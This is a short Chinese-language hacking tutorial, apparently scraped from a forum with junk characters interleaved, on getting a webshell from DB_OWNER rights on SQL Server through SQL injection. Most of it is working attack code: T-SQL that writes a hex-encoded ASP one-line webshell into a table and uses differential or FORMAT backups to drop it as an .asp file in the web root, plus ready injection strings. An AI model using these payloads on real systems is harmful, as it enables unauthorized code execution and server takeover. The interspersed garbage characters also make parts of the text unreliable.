DB_OWNER权限得到webshell的改进办法

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DB_OWNER权限得到webshell的两点改进:
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# t  c& \7 [! x6 a减少备份文件大小，得到可执行的webshell成功率提高不少
一利用差异备份
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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
& Q0 x( `5 ~2 Q5 |0 f  K! n0 Fcreate table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
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/ G# g# O, Y+ i, _二利用完全FORMAT
4 p) O5 l4 `' K) K, u. d加一个参数WITH FROMAT
7 X0 ~( F, E) ?+ b3 w有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
& T* G& Z/ ]9 w2 `  h+ Ninsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
( `; M% B4 v+ Vdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

总的来说就是那么简单几句,下面以备份数据库model为例子
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: j0 P7 ?/ j3 d* u id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
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id=1;backup database model to disk='你的路径‘ with differential,format;--
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